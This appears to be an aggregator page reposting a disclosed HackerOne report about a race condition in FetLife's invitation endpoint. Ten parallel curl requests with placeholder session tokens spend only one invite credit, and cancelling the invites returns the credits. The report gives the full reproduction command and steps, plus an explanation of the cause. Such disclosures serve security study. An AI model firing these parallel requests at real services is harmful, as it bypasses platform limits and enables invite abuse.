Skip to content
Race condition Disclosed report Intermediate

Race condition in endpoint POST fetlife.com/users/invitation, allow attacker to generate unlimited invites

The invitation endpoint was vulnerable to a race condition, allowing multiple simultaneous requests to each consume only one invite credit. An attacker could send many invites at once and then cancel them to regain the credits, effectively generating unlimited invites.

trieulieuf9 Follow

Originally disclosed on HackerOne

Medium 4.3 View original
  • Triaged in 9 days
  • Fixed in 12 days
  • Paid in 9 days
  • Disclosed after 42 days

This report describes the same bug as #1455487. I rewrite this bug here to make the report clearer. I will self-close #1455487 right now.

Description

The Invite Your Friend to Join FetLife feature is vulnerable to race condition.

By sending many requests at the same time to endpoint POST fetlife.com/users/invitation. We are able to send many invites with the cost of 1 invite.

example.png
example.png From the original on HackerOne

Also, if we cancel sent-invite, we get back this invite. So basically, we can create unlimited invites by send many invites in race condition, then canceling them to get invites added back to our account.

fetlife_hates_him.png
fetlife_hates_him.png From the original on HackerOne

Step to Reproduce

This is a chain of 10 curl commands in the form of curl_command_1 & curl_command_2 & ... & curl_command_10. It allows us to run 10 curl commands at the same time.

curl 'https://fetlife.com/users/invitation' -H 'User-Agent: cur1' -H 'Cookie: _fl_sessionid={session_id}' --data 'authenticity_token={authenticity_token}&user%5Bemail%5D={email_address_1}' & curl 'https://fetlife.com/users/invitation' -H 'User-Agent: cur1' -H 'Cookie: _fl_sessionid={session_id}' --data 'authenticity_token={authenticity_token}&user%5Bemail%5D={email_address_2}' & curl 'https://fetlife.com/users/invitation' -H 'User-Agent: cur1' -H 'Cookie: _fl_sessionid={session_id}' --data 'authenticity_token={authenticity_token}&user%5Bemail%5D={email_address_3}' & curl 'https://fetlife.com/users/invitation' -H 'User-Agent: cur1' -H 'Cookie: _fl_sessionid={session_id}' --data 'authenticity_token={authenticity_token}&user%5Bemail%5D={email_address_4}' & curl 'https://fetlife.com/users/invitation' -H 'User-Agent: cur1' -H 'Cookie: _fl_sessionid={session_id}' --data 'authenticity_token={authenticity_token}&user%5Bemail%5D={email_address_5}' & curl 'https://fetlife.com/users/invitation' -H 'User-Agent: cur1' -H 'Cookie: _fl_sessionid={session_id}' --data 'authenticity_token={authenticity_token}&user%5Bemail%5D={email_address_6}' & curl 'https://fetlife.com/users/invitation' -H 'User-Agent: cur1' -H 'Cookie: _fl_sessionid={session_id}' --data 'authenticity_token={authenticity_token}&user%5Bemail%5D={email_address_7}' & curl 'https://fetlife.com/users/invitation' -H 'User-Agent: cur1' -H 'Cookie: _fl_sessionid={session_id}' --data 'authenticity_token={authenticity_token}&user%5Bemail%5D={email_address_8}' & curl 'https://fetlife.com/users/invitation' -H 'User-Agent: cur1' -H 'Cookie: _fl_sessionid={session_id}' --data 'authenticity_token={authenticity_token}&user%5Bemail%5D={email_address_9}' & curl 'https://fetlife.com/users/invitation' -H 'User-Agent: cur1' -H 'Cookie: _fl_sessionid={session_id}' --data 'authenticity_token={authenticity_token}&user%5Bemail%5D={email_address_10}'
  1. Please inputs your session_id and authenticity_token in the above command, there are 10 places to input for each
  2. Please uses 10 different emails for 10 curl commands above. such as, [email protected], [email protected], ..., [email protected]
  3. Please url-encode your email addresses, so that: [email protected] becomes example%2B1%40gmail.com

Impact

Attacker is able to generate unlimited amount of invites.

The original report as published on HackerOne, by trieulieuf9. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the invite credit check and deduction were not atomic, so concurrent requests could all pass the check before any credit was deducted.

Impact

An attacker could generate an unlimited number of invites, bypassing the intended invite limit.

What the attacker needed

Valid session and authenticity token

How it was found

  1. Prepare a command that sends ten invite requests simultaneously, each with a different email address.
  2. Insert your session ID and authenticity token into each of the ten request placeholders.
  3. Use ten distinct email addresses, URL-encoded, one per request.
  4. Run the combined command to fire all ten requests at once.
  5. Observe that ten invites are sent but only one invite credit is consumed.
  6. Cancel the sent invites to have the credit returned, then repeat to generate unlimited invites.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A race condition happens when a website checks a limit (like 'you have 1 invite left') but then processes several requests at the same moment before updating the count. Here, sending many invite requests at once meant each one thought a credit was available, so the attacker got many invites for the price of one. Cancelling those invites then returned the credits, letting the attacker repeat the trick endlessly.

What is Race condition?

Parallel requests reach a state the code assumed could not happen: a coupon used twice, a limit overrun, a check skipped.

More by trieulieuf9

View all

3 more disclosed reports, best first.

More from FetLife

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Race conditions

The lesson behind this report.

Parallel requests reach a state the code assumed could not happen: a coupon used twice, a limit overrun, a check skipped.